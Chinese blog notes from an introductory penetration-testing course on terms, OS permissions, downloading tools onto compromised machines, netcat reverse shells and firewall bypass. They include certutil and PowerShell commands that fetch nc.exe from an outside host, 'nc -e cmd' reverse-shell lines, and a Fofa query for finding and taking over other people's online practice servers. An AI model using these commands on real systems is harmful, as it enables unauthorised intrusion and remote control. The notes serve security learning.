基础入门-操作系统&名词&文件下载&反弹shell&防火墙绕过

目录

基础入门-操作系统&名词&文件下载&反弹shell&防火墙绕过

知识点

参考:

演示案例

基础案例 1:操作系统-用途&命令&权限&用户&防火墙

实用案例 1:文件上传下载-->解决无图形化&解决数据传输

实用案例 2:反弹 Shell 命令-解决数据回显&解决数据通讯

结合案例 1:防火墙绕过-正向连接&反向连接&内网服务器

结合案例 2:学会了有手就行-Fofa 拿下同行 Pikachu 服务器


免责声明:本文仅做技术交流与学习,有其它违法行为请及时联系.

都是基础,会的走吧~~~ 

基础入门-操作系统&名词&文件下载&反弹shell&防火墙绕过


知识点

1、名词解释-渗透测试-漏洞&攻击&后门&代码&专业词

2、必备技能-操作系统-用途&命令&权限&用户&防火墙

3、必备技能-文件下载-缘由&场景&使用-提权&后渗透

4、必备技能-反弹命令-缘由&场景&使用-提权&后渗透

前后端,POC/EXP,Payload/Shellcode,后门/Webshell,木马/病毒, 
反弹,回显,跳板,黑白盒测试,暴力破解,社会工程学,撞库,ATT&CK 等
​
POC:验证
EXP:利用
shellcode:漏洞载荷代码
payload:利用载荷,利用管道
反弹:拿到一个webshell,将权限移交到其它服务器(地址)上去.---将权限移交到其它地方.
撞库:通过对泄露的库进行社工,利用.
ATT&CK:红蓝对抗框架.(专有名词,专业)
​

参考:

渗透测试常用术语总结 - 11阳光 - 博客园 (cnblogs.com)

MITRE ATT&CK®

【3】web安全入门篇-渗透测试中常用的命令_web安全入门篇 渗透测试中常用的命令-CSDN博客

[~]#棱角 ::Edge.Forum* (ywhack.com)

演示案例

基础案例 1:操作系统-用途&命令&权限&用户&防火墙

实用案例 1:文件上传下载-解决无图形化&解决数据传输

实用案例 2:反弹 Shell 命令-解决数据回显&解决数据通讯

结合案例 1:防火墙绕过-正向连接&反向连接&内网服务器

基础案例 1:操作系统-用途&命令&权限&用户&防火墙

1、个人计算机&服务器用机

2、Windows&Linux 常见命令

【3】web安全入门篇-渗透测试中常用的命令_web安全入门篇 渗透测试中常用的命令-CSDN博客

3、文件权限&服务权限&用户权限等

提权---为了完成某目的.

组(administrators)控制用户

windows:system最高权限,自己是administrator权限,(不能删除system文件啊)

users(普通用户),分配权限.分配组,让其享受权限.

4、系统用户&用户组&服务用户等分类

5、自带防火墙出站&入站规则策略协议

windows---自带防火墙

Linux---iptables

出站(你主动找别人)入站(别人主动找你)
宽松严格

--看走的什么协议

WAF(web防火墙)

实用案例 1:文件上传下载-->解决无图形化&解决数据传输

[~]#棱角 ::Edge.Forum* (ywhack.com)

--拿下人家后一般都是命令行.---如此进行文件上传,进行下一步操作.

Linux:wget curl python ruby perl java 等

weget:

-o 导出时为什么名字(加不加都行)

curl

Windows:PowerShell Certutil Bitsadmin msiexec mshta rundll32 等

(Powershell命令区分大小写。)

powershell:()
powershell.exe -Command "Invoke-WebRequest -Uri http://ip:80/firefox.7z -OutFile fff.zip"
删除:
Remove-item .\fff.zip
Certutil :
...我不行
​

传不上去就可能是权限问题(换个目录试试)

命令问题/权限问题

实用案例 2:反弹 Shell 命令-解决数据回显&解决数据通讯

useradd 用户名 passwd 用户名

测试 Linux 系统添加用户或修改密码命令交互回显问题

---发送数据,对面接收执行,自己是否接收(不知道是否执行成功).

有些工具给你弄过去,但是没有返回回来,你也不知道成不成功啊. --->这时就要反弹shell

交互式命令问题:Linux上的passwd 用户 -->等待你输入,

webshell输入命令--这种应答式的回显不过来呀

我把一条数据发给你,你看着我,我看着你,啥也不能干.

结合案例 1:防火墙绕过-正向连接&反向连接&内网服务器

1、内网:

内网 ---> xiaodi8

xiaodi8 !---> 内网

内网 外网

假如我要控制啊里云,我发送数据过去;(内网的我-->外网)
它要返回数据回来(外网!--->内网的我;  这时就有问题了啊)
--除非建议管道.

这里用nc工具 -e参数,可以将本地cmd权限移交到 ip port上.

nc -e cmd ip port (我)

nc -lvvp port (服务器)

--->服务器成功接受

那反过来试一下的话,不行.

服务器根本找不到我.

??那怎么办??

端口映射:

先让外网找到内网的路由器接口,然后再找到我.

(以上监听的一方防火墙要关闭!!!!)

2、防火墙

xiaodi8 <-> aliyun

xiaodi8 防火墙 -> aliyun

aliyun !-> xiaodi8 防火墙

这里的两个外网的服务器相互连接也都没有问题.

(不开防火墙)

--但如果开了防火墙,那怎么办呢???

正反向问题:

入站--严格

发送权限的一方(主动把数据交出去)--入站

监听的一方--出站的流量 (防火墙拦都拦不住啊)

正反向连接(看以谁为参照物)

正向连接:主动连接别人.(发权限数据)

结合案例 2:学会了有手就行-Fofa 拿下同行 Pikachu 服务器

fofa:   "pikachu" && country="CN" && title="Get the pikachu"

--拿下同行.在线靶场.服务器.(在线靶机-->用docker容器)

文件下载&反弹 Shell:

certutil -urlcache -split -f http://www.xiaodi8.com/nc.exe nc.exe

nc.exe -e cmd ip 5566


  • 18
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

金灰

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值